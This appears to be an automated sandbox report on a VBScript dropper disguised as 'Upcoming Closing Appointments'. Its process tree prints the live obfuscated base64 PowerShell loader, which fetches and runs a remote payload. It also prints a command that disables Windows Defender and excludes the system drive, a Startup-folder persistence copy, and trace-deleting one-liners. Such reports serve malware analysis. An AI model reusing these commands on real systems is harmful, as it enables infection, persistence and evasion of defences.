c4924e9ba6429f0ce5f4c29a1e3c53c034e48bb937e981506968041775728ccd

Analysis

max time kernel
149s
max time network
148s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
27/07/2026, 18:31

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Upcoming Closing Appointments.vbs
Size 84KB
Sample260727-w6bc4scf56
SHA256 c4924e9ba6429f0ce5f4c29a1e3c53c034e48bb937e981506968041775728ccd
MD5 3adf3f5d3591e5953d8ce13a8ad3b835
SHA1 d57ec1927c790ae73e046130e925ec6310eb0ebf
SHA512 96e2996756d2ab0ff2ea08fc711a9755a92f04f734c1003dd96e981e364b8fb0c8a3ecacecc44de6e0695f732173c748a03a012c1182adf12fe9480a4c53c8bd
SSDEEP 768:ViiRiiRiiRiiWiiRiiRiiRpiF6QIGYka4a0n4576J9JsBEnEAEH4m0ZHfY2pHpf/:NyWpRPHfYGjF
TLSH
T175836A17F9EF8508B1B15A5B9A53F1750B7F7D1A2ABDC40814CC978A4BC3A0088927BF
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion discovery execution

Malware Config

Signatures

Badlisted process makes network request 6 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
6	2916	powershell.exe
11	6000	powershell.exe
12	6000	powershell.exe
14	6000	powershell.exe
15	6000	powershell.exe
16	6000	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2320	powershell.exe
264	powershell.exe
2916	powershell.exe
6000	powershell.exe

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs

execution

Visual Basic

T1059.005

pid	Process
936	WScript.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
6000	powershell.exe
6000	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 15 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2180	cmd.exe
2540	cmd.exe
3028	cmd.exe
4272	cmd.exe
4772	cmd.exe
1080	cmd.exe
5004	cmd.exe
3232	cmd.exe
2524	cmd.exe
4352	cmd.exe
4448	cmd.exe
5324	cmd.exe
2136	cmd.exe
1140	cmd.exe
5184	cmd.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 30 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
3512	PING.EXE
3028	cmd.exe
3916	PING.EXE
3320	PING.EXE
2136	cmd.exe
4576	PING.EXE
5184	cmd.exe
6060	PING.EXE
4448	cmd.exe
2784	PING.EXE
5604	PING.EXE
4352	cmd.exe
4680	PING.EXE
5004	cmd.exe
4272	cmd.exe
2180	cmd.exe
1140	cmd.exe
5552	PING.EXE
5260	PING.EXE
5928	PING.EXE
3232	cmd.exe
832	PING.EXE
2540	cmd.exe
5136	PING.EXE
5324	cmd.exe
2524	cmd.exe
4772	cmd.exe
1080	cmd.exe
612	PING.EXE
1636	PING.EXE

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
3604	ipconfig.exe

Runs ping.exe 1 TTPs 15 IoCs

Remote System Discovery

T1018

pid	Process
5604	PING.EXE
5136	PING.EXE
4576	PING.EXE
5552	PING.EXE
5260	PING.EXE
5928	PING.EXE
2784	PING.EXE
832	PING.EXE
6060	PING.EXE
612	PING.EXE
1636	PING.EXE
3320	PING.EXE
4680	PING.EXE
3916	PING.EXE
3512	PING.EXE

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
264	powershell.exe
264	powershell.exe
2916	powershell.exe
2916	powershell.exe
6000	powershell.exe
6000	powershell.exe
6000	powershell.exe
6000	powershell.exe
2320	powershell.exe
2320	powershell.exe
2320	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	264	powershell.exe
Token: SeDebugPrivilege	2916	powershell.exe
Token: SeIncreaseQuotaPrivilege	2916	powershell.exe
Token: SeSecurityPrivilege	2916	powershell.exe
Token: SeTakeOwnershipPrivilege	2916	powershell.exe
Token: SeLoadDriverPrivilege	2916	powershell.exe
Token: SeSystemProfilePrivilege	2916	powershell.exe
Token: SeSystemtimePrivilege	2916	powershell.exe
Token: SeProfSingleProcessPrivilege	2916	powershell.exe
Token: SeIncBasePriorityPrivilege	2916	powershell.exe
Token: SeCreatePagefilePrivilege	2916	powershell.exe
Token: SeBackupPrivilege	2916	powershell.exe
Token: SeRestorePrivilege	2916	powershell.exe
Token: SeShutdownPrivilege	2916	powershell.exe
Token: SeDebugPrivilege	2916	powershell.exe
Token: SeSystemEnvironmentPrivilege	2916	powershell.exe
Token: SeRemoteShutdownPrivilege	2916	powershell.exe
Token: SeUndockPrivilege	2916	powershell.exe
Token: SeManageVolumePrivilege	2916	powershell.exe
Token: 33	2916	powershell.exe
Token: 34	2916	powershell.exe
Token: 35	2916	powershell.exe
Token: 36	2916	powershell.exe
Token: SeDebugPrivilege	6000	powershell.exe
Token: SeDebugPrivilege	2320	powershell.exe
Token: SeIncreaseQuotaPrivilege	2320	powershell.exe
Token: SeSecurityPrivilege	2320	powershell.exe
Token: SeTakeOwnershipPrivilege	2320	powershell.exe
Token: SeLoadDriverPrivilege	2320	powershell.exe
Token: SeSystemProfilePrivilege	2320	powershell.exe
Token: SeSystemtimePrivilege	2320	powershell.exe
Token: SeProfSingleProcessPrivilege	2320	powershell.exe
Token: SeIncBasePriorityPrivilege	2320	powershell.exe
Token: SeCreatePagefilePrivilege	2320	powershell.exe
Token: SeBackupPrivilege	2320	powershell.exe
Token: SeRestorePrivilege	2320	powershell.exe
Token: SeShutdownPrivilege	2320	powershell.exe
Token: SeDebugPrivilege	2320	powershell.exe
Token: SeSystemEnvironmentPrivilege	2320	powershell.exe
Token: SeRemoteShutdownPrivilege	2320	powershell.exe
Token: SeUndockPrivilege	2320	powershell.exe
Token: SeManageVolumePrivilege	2320	powershell.exe
Token: 33	2320	powershell.exe
Token: 34	2320	powershell.exe
Token: 35	2320	powershell.exe
Token: 36	2320	powershell.exe
Token: SeIncreaseQuotaPrivilege	2320	powershell.exe
Token: SeSecurityPrivilege	2320	powershell.exe
Token: SeTakeOwnershipPrivilege	2320	powershell.exe
Token: SeLoadDriverPrivilege	2320	powershell.exe
Token: SeSystemProfilePrivilege	2320	powershell.exe
Token: SeSystemtimePrivilege	2320	powershell.exe
Token: SeProfSingleProcessPrivilege	2320	powershell.exe
Token: SeIncBasePriorityPrivilege	2320	powershell.exe
Token: SeCreatePagefilePrivilege	2320	powershell.exe
Token: SeBackupPrivilege	2320	powershell.exe
Token: SeRestorePrivilege	2320	powershell.exe
Token: SeShutdownPrivilege	2320	powershell.exe
Token: SeDebugPrivilege	2320	powershell.exe
Token: SeSystemEnvironmentPrivilege	2320	powershell.exe
Token: SeRemoteShutdownPrivilege	2320	powershell.exe
Token: SeUndockPrivilege	2320	powershell.exe
Token: SeManageVolumePrivilege	2320	powershell.exe
Token: 33	2320	powershell.exe

Suspicious use of WriteProcessMemory 36 IoCs

description	pid	Process	procid_target
PID 936 wrote to memory of 264	936	WScript.exe	89
PID 264 wrote to memory of 2916	264	powershell.exe	91
PID 2916 wrote to memory of 3604	2916	powershell.exe	93
PID 2916 wrote to memory of 6000	2916	powershell.exe	94
PID 6000 wrote to memory of 3232	6000	powershell.exe	96
PID 3232 wrote to memory of 2784	3232	cmd.exe	97
PID 6000 wrote to memory of 4272	6000	powershell.exe	98
PID 6000 wrote to memory of 2524	6000	powershell.exe	99
PID 6000 wrote to memory of 2180	6000	powershell.exe	100
PID 6000 wrote to memory of 2136	6000	powershell.exe	101
PID 6000 wrote to memory of 1140	6000	powershell.exe	102
PID 4272 wrote to memory of 3320	4272	cmd.exe	103
PID 2524 wrote to memory of 832	2524	cmd.exe	104
PID 1140 wrote to memory of 6060	1140	cmd.exe	105
PID 2136 wrote to memory of 5552	2136	cmd.exe	106
PID 2180 wrote to memory of 5604	2180	cmd.exe	107
PID 6000 wrote to memory of 4772	6000	powershell.exe	108
PID 6000 wrote to memory of 5184	6000	powershell.exe	109
PID 6000 wrote to memory of 4352	6000	powershell.exe	110
PID 4772 wrote to memory of 4680	4772	cmd.exe	111
PID 6000 wrote to memory of 1080	6000	powershell.exe	112
PID 6000 wrote to memory of 2540	6000	powershell.exe	113
PID 1080 wrote to memory of 5260	1080	cmd.exe	114
PID 5184 wrote to memory of 4576	5184	cmd.exe	115
PID 2540 wrote to memory of 5136	2540	cmd.exe	116
PID 4352 wrote to memory of 612	4352	cmd.exe	117
PID 6000 wrote to memory of 2320	6000	powershell.exe	118
PID 6000 wrote to memory of 3028	6000	powershell.exe	120
PID 6000 wrote to memory of 5004	6000	powershell.exe	121
PID 5004 wrote to memory of 1636	5004	cmd.exe	122
PID 3028 wrote to memory of 3916	3028	cmd.exe	123
PID 6000 wrote to memory of 1200	6000	powershell.exe	124
PID 6000 wrote to memory of 4448	6000	powershell.exe	125
PID 6000 wrote to memory of 5324	6000	powershell.exe	126
PID 4448 wrote to memory of 5928	4448	cmd.exe	127
PID 5324 wrote to memory of 3512	5324	cmd.exe	128

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Upcoming Closing Appointments.vbs"
1⤵
- Executes a VBScript file via the Windows Script Host.
- Suspicious use of WriteProcessMemory
PID:936
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -c "$EbaYA ;$BnWKB ;$BnWKB = 'IENs' + 'ZW' + 'FyLURuc' + '0' + 'NsaWVudENhY2hlIC1FcnJvckFjdGlvbiBTaWxlbnRseUNvbnRpbnVlOyBpcGNvbmZpZy' + ' + A + ' + 'vZmx1c2hkbnMgfCBPdXQtTnVsbC' + ' + A + ' + '7DQoNClN' + '0' + 'YXJ' + '0' + 'LVNs' + 'ZW' + 'VwIC1T' + 'ZW' + 'NvbmRzIDUgOw' + '0' + 'KDQpbU3lzdGVtLk5ldC5TZXJ2aWNlUG' + ' + 9 + ' + 'pbnRNYW5hZ2VyXTo6U2VjdXJpdHlQcm' + ' + 9 + ' + '' + '0' + 'b2NvbC' + ' + A + ' + '' + ' + 9 + ' + 'IFtTeXN' + '0' + '' + 'ZW' + '' + '0' + 'uTmV' + '0' + 'LlNlY3VyaXR5UHJvdG' + ' + 9 + ' + 'jb2xUeXBlXTo6VGxzMTIgLWJvciBbU3lzdGVtLk5ldC5T' + 'ZW' + 'N1cml' + '0' + 'eVByb3RvY2' + ' + 9 + ' + 'sVHlwZV' + '0' + '6OlRsczEzIDsNCiRhbmluVzsNCkZ1bmN' + '0' + 'aW' + ' + 9 + ' + 'uIFN2RlNQezsNCiRVbWpzbS' + ' + A + ' + '' + ' + 9 + ' + 'IFtTeXN' + '0' + '' + 'ZW' + '' + '0' + 'uVGV4dC5FbmNvZGluZ1' + '0' + '6OlVURjguR2V' + '0' + 'U3RyaW5nKFtzeXN' + '0' + '' + 'ZW' + '' + '0' + 'uQ2' + ' + 9 + ' + 'udmVydF' + '0' + '6OkZyb21CYXNlNjRTdHJpbmcoJGFuaW5XKSk7DQpyZXR1cm4gJFVtanNtOw' + '0' + 'KfTsNCiRhWHBrdS' + ' + A + ' + '' + ' + 9 + ' + 'ICggJ' + '0' + 'M6XFVzZXJzXFB1YmxpY1wnICsgJ3JyaG16LnR4dCcpIDskVGFXZEogPS' + ' + A + ' + 'nYUhSMGNITTZMeScgKy' + ' + A + ' + 'oJzloYiRfJF8kXyRfJF8kX1J5Wldab' ;$EbaYA = 'GJHbHdaV1J2YiRfJF8kXyRfJF8kX' + '0' + 'Z6WTJsdFpURTNPRE' + '0' + '' + '0' + 'TicgLXJlcGxhY2UgLC' + ' + A + ' + 'nXCRfXCRfXCRfXCRfXCRfXCRfJywgJ2' + '0' + 'nKS' + ' + A + ' + 'rICdqazFPVFE1TnpndU1qQXlNRE14TWk1dFpYVnphWFJsYUc5emRHZGhkRzl5TG1OdmJTNWljaTlrUkZsd1ZGOHhOMTh3TjE5TlpYVnpYMkZ5Y1hWcGRtOXpYMFJsWDFSbGVIUnZMekF6TG5SNGRBPT' + '0' + 'nIDskYW5pblcgPS' + ' + A + ' + 'kVGFXZEo7ICRUYVdkSi' + ' + A + ' + '' + ' + 9 + ' + 'IFN2RlNQIDskVGFXZEogfCBPdXQtRmlsZS' + ' + A + ' + 'tRmlsZVBhdGggJGFYcGt1IC1FbmNvZGluZy' + ' + A + ' + 'nVVRGOCcgLWZvcmNlIDs7JEhuYnF1ID' + '0' + 'gKC' + ' + A + ' + 'nQzpcVXNlcnNcUHVibGljXCcgKy' + ' + A + ' + 'ndm15YnIudHh' + '0' + 'JykgOyR3dGd4Yy' + ' + A + ' + '' + ' + 9 + ' + 'IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5X' + 'ZW' + 'JDbGllbnQgOyR3dGd4Yy5FbmNvZGluZy' + ' + A + ' + '' + ' + 9 + ' + 'IFtTeXN' + '0' + '' + 'ZW' + '' + '0' + 'uVGV4dC5FbmNvZGluZ1' + '0' + '6OlVURjggOyR3dGd4Yy5I' + 'ZW' + 'FkZXJzLkFkZChbU3lzdGVtLk5ldC5IdHRwUmVxdWVzdEhlYWRlcl' + '0' + '6OkNhY2hlQ2' + ' + 9 + ' + 'udHJvbCwgJ25vLWNhY2hlJykgOyR3dGd4Yy5I' + 'ZW' + 'FkZXJzLkFkZChbU3lzdGVtLk5ldC5IdHRwUmVxdWVzdEhlYWRlcl' + '0' + '6OlByYWdtYSwgJ25vLWNhY2hlJykgOyR3dGd4Yy5Qcm' + ' + 9 + ' + '4eS' + ' + A + ' + '' + ' + 9 + ' + 'IFtTeXN' + '0' + '' + 'ZW' + '' + '0' + 'uTmV' + '0' + 'LldlYlJlcXVlc3RdOjpHZXRTeXN' + '0' + '' + 'ZW' + '1X' + 'ZW' + 'JQcm' + ' + 9 + ' + '4eSgpIDskd3RneGMuUHJveHkuQ3JlZGVudGlhbHMgPSBbU3lzdGVtLk5ldC5DcmVk' + 'ZW' + '5' + '0' + 'aWFsQ2FjaGVdOjpE' + 'ZW' + 'ZhdWx' + '0' + 'TmV' + '0' + 'd2' + ' + 9 + ' + 'ya' + '0' + 'Ny' + 'ZW' + 'RlbnRpYWxzIDskeUlnS2wgID' + '0' + 'gKCBHZXQtQ2' + ' + 9 + ' + 'udGVudC' + ' + A + ' + 'tUGF' + '0' + 'aC' + ' + A + ' + 'kYVhwa3UgKS' + ' + A + ' + '7JHBFdFhiID' + '0' + 'gJHd' + '0' + 'Z3hjLkRvd25sb2FkRGF' + '0' + 'YSggJHlJZ' + '0' + 'tsLlRyaW' + '0' + 'oKS' + ' + A + ' + 'pIDskdndtZnEgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN' + '0' + 'cmluZygkcEV' + '0' + 'WGIpIDskdndtZnEgPS' + ' + A + ' + 'oQChbcmVnZXhdOjpzcGxpdCgkdndtZnEsJ1wleCUrJykpWzFdKS5UcmltKCkgOyR2d21mcSB8IE' + ' + 9 + ' + '1dC1GaWxlIC1GaWxlUGF' + '0' + 'aC' + ' + A + ' + 'kSG5icXUgLWZvcmNlIDs7JFNEZHd3ID' + '0' + 'gJ' + '0' + 'xvJy' + ' + A + ' + 'rICdhZCc7JEhJd1laID' + '0' + 'gJ' + '0' + 'Fzc2UnICsgJ21ibHknOyRzWUtVUi' + ' + A + ' + '' + ' + 9 + ' + 'ICdpbnYnICsgJ2' + ' + 9 + ' + 'rZSc7JHhVdEdBID' + '0' + 'gJ1JlZmxlJy' + ' + A + ' + 'rICdjdGlvbic7JHN' + '0' + 'V2lsID' + '0' + 'gJG51bGw7JGtuaHd5ICs' + ' + 9 + ' + 'ICckUkJCZlogPS' + ' + A + ' + 'oJydoIHQgdHBzIDogLy' + ' + A + ' + 'vJycuUmVwbGFjZSgnJy' + ' + A + ' + 'nJywgJycnJykgKy' + ' + A + ' + 'nJ2FuZHJlZmVsaXBlZG' + ' + 9 + ' + 'uYXNjaW1lMTc4Mzg2OTU5NDk3OC4yMDIwMzEyLm1ldXNpdGVob3N' + '0' + 'Z2F' + '0' + 'b3IuY2' + ' + 9 + ' + 'tLmJyLycnICsgJydkRFlwVF8xN18wN1' + ' + 9 + ' + 'NZXVzX2FycXVpdm' + ' + 9 + ' + 'zX' + '0' + 'RlX1RleHRvLycnICsgJydQZVllcycnKS' + ' + A + ' + '7Jy' + ' + A + ' + '7JGtuaHd5ICs' + ' + 9 + ' + 'ICckemdIb1cgPS' + ' + A + ' + 'nJyViYXNlNjQlTUM5Mk1qWlJVekkzUVM5eUwzWmxaQzVsWlhSellY57eSdkx6cHpjSFIwYee3kj' + '0' + '' + ' + 9 + ' + 'JycgOyR6Z' + '0' + 'hvVy' + ' + A + ' + '' + ' + 9 + ' + 'ICgkemdIb1cgLXJlcGxhY2UgJyfnt5InJy' + ' + A + ' + 'sICcnQScnKS' + ' + A + ' + '7OyRjVEZ6Ti' + ' + A + ' + '' + ' + 9 + ' + 'ICggJydDOlxVc2Vyc1xQdWInJy' + ' + A + ' + 'rICcnbGljXCcnICsgJyd2bXlici5' + '0' + 'eHQnJykgOyR3eGpkbC' + ' + A + ' + '' + ' + 9 + ' + 'IChHZXQtQ2' + ' + 9 + ' + 'udGVudC' + ' + A + ' + 'tUGF' + '0' + 'aC' + ' + A + ' + 'kY1RGek4gLUVuY2' + ' + 9 + ' + 'kaW5nIFVURjgpOycgOyRrbmh3eS' + ' + A + ' + 'rPS' + ' + A + ' + 'nJHd4amRsIC1yZXBsYWNlICcnICcnLC' + ' + A + ' + 'nJycnIDsnIDska25od3kgKz' + '0' + 'gJ1tieXRlW11dJGR2cXpnID' + '0' + 'gW1N5c3RlbS5Db2xs' + 'ZW' + 'N' + '0' + 'aW' + ' + 9 + ' + 'ucy5H' + 'ZW' + '5lcmljLkxpc3RbQnl' + '0' + 'ZV1dOjpuZXcoKTsnIDska25od3kgKz' + '0' + 'gJyRkdnF6Zy' + ' + A + ' + '' + ' + 9 + ' + 'ICgkd3hqZGwgIC1zcGxpdC' + ' + A + ' + 'nJywnJyB8IEZvckVhY2gtT2Jq' + 'ZW' + 'N' + '0' + 'IHsgW2J5dGVdKCRfLlRyaW' + '0' + 'oKSkgfSkgOyc7JGtuaHd5ICs' + ' + 9 + ' + 'ICckYmV2cGYgPSBbU3lzdGVtLicgKy' + ' + A + ' + 'keFV' + '0' + 'R' + '0' + 'EgKy' + ' + A + ' + 'nLicgKy' + ' + A + ' + 'kSEl3WVogKy' + ' + A + ' + 'nXTo6Jy' + ' + A + ' + 'rICRTRGR3dy' + ' + A + ' + 'rICcoICRkdnF6Zy' + ' + A + ' + 'pOycgOyRrbmh3eS' + ' + A + ' + 'rPS' + ' + A + ' + 'nJGp' + '0' + 'VmxiID' + '0' + 'gJGJldnBmLkdldFR5cGUoICcnQ2xhc3NMaWJyYXJ5My5DbGFzczEnJy' + ' + A + ' + 'pOycgOyRrbmh3eS' + ' + A + ' + 'rPS' + ' + A + ' + 'nJENTWXRVID' + '0' + 'gJGp' + '0' + 'VmxiLkdldE1ldGhvZCggJydwck' + 'ZW' + 'SScnICkuJy' + ' + A + ' + 'rICRzWUtVUi' + ' + A + ' + 'rICcoICRzdFdpbC' + ' + A + ' + 'sIFtvYmplY3RbXV' + '0' + 'gKC' + ' + A + ' + 'kemdIb1cgLC' + ' + A + ' + 'nJyV2VmxHeiUnJy' + ' + A + ' + 'sICcnRCBEREM6XFdpbmRvd3NcTWljcm' + ' + 9 + ' + 'zb2Z' + '0' + 'Lk5FVFxGcmFtJy' + ' + A + ' + 'rICdld2' + ' + 9 + ' + 'ya1x2NC4wLjMwMzE5XGluc3RhbGx1dGlsJycsICcnJHRydWUnJywgJFJCQmZaICkgKTsnIDskdWpvblggPS' + ' + A + ' + 'oICdDOlxVc2Vyc1xQdWJsaWNcJy' + ' + A + ' + 'rICd5c3lmcl8wMS5wczEnICkgOyRrbmh3eSB8IE' + ' + 9 + ' + '1dC1GaWxlIC1GaWxlUGF' + '0' + 'aC' + ' + A + ' + 'kdWpvblggLWZvcmNlIDtTdGFydC1TbGVlcC' + ' + A + ' + 'tcy' + ' + A + ' + '1Oztwb3dlcnNo' + 'ZW' + 'xsIC1FeGVjdXRpb25Qb2xpY3kgYnlwYXNzIC1GaWxlICR1am' + ' + 9 + ' + 'uWC' + ' + A + ' + '7Ow==' ;$EGWnp = ($BnWKB + $EbaYA) ;$EGWnp = $EGWnp.replace('''',$null) ;$EGWnp = $EGWnp.replace('+ ',$null) ;$EGWnp = $EGWnp.replace(' ',$null) ;Function HZhwO{;$hqDsO = [System.Text.Encoding]::UTF8.GetString([system.Convert]::FromBase64String($EGWnp)) ;return $hqDsO ;};$oNxhz = HZhwO; $oNxhz = ($oNxhz -replace '%vVlGz%','C:\Users\Admin\AppData\Local\Temp\Upcoming Closing AppointmentsSlCjVvbs') ;$MqRnx = 'C:\Users\Public\' + 'xrhwy' + '.ps1' ;$oNxhz | Out-File -FilePath $MqRnx -force ; powershell -ExecutionPolicy Bypass -file $MqRnx ; "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:264
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -file C:\Users\Public\xrhwy.ps1
    3⤵
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2916
  - - C:\Windows\system32\ipconfig.exe
      "C:\Windows\system32\ipconfig.exe" /flushdns
      4⤵
      Gathers network information
      PID:3604
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy bypass -File C:\Users\Public\ysyfr_01.ps1
      4⤵
      Badlisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:6000
    - - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\broadcastmsg_1783607568.txt"
        5⤵
        Executes a command shell one-liner
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:3232
      - C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:2784
    - - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\dd_ndp472-kb4054530-x86-x64-allos-enu_decompression_log.txt"
        5⤵
        Executes a command shell one-liner
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:4272
      - C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:3320
    - - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\dd_vcredistmsi7987.txt"
        5⤵
        Executes a command shell one-liner
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:2524
      - C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:832
    - - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\dd_vcredistmsi79af.txt"
        5⤵
        Executes a command shell one-liner
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:2180
      - C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:5604
    - - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\dd_vcredistui7987.txt"
        5⤵
        Executes a command shell one-liner
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:2136
      - C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:5552
    - - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\dd_vcredistui79af.txt"
        5⤵
        Executes a command shell one-liner
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:1140
      - C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:6060
    - - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\upcoming closing appointments.vbs"
        5⤵
        Executes a command shell one-liner
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:4772
      - C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:4680
    - - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\public\rrhmz.txt"
        5⤵
        Executes a command shell one-liner
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:5184
      - C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:4576
    - - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\public\vmybr.txt"
        5⤵
        Executes a command shell one-liner
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:4352
      - C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:612
    - - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\public\xrhwy.ps1"
        5⤵
        Executes a command shell one-liner
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:1080
      - C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:5260
    - - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\public\ysyfr_01.ps1"
        5⤵
        Executes a command shell one-liner
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:2540
      - C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:5136
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -ExecutionPolicy Bypass Set-MpPreference -DisableRealtimeMonitoring $true;Set-MpPreference -DisableIntrusiovnPreventionSystem $true;Set-MpPreference -MAPSReporting 0;Set-MpPreference -SubmitSamplesConsent 2;Add-MpPreference -ExclusionPath $env:SystemDrive\ ;
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2320
    - - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & copy "C:\Users\Admin\AppData\Local\Temp\Upcoming Closing Appointments.vbs" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Upcoming Closing Appointments.vbs"
        5⤵
        Executes a command shell one-liner
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:3028
      - C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:3916
    - - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\Upcoming Closing Appointments.vbs & del "1"
        5⤵
        Executes a command shell one-liner
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:5004
      - C:\Windows\system32\PING.EXE
        
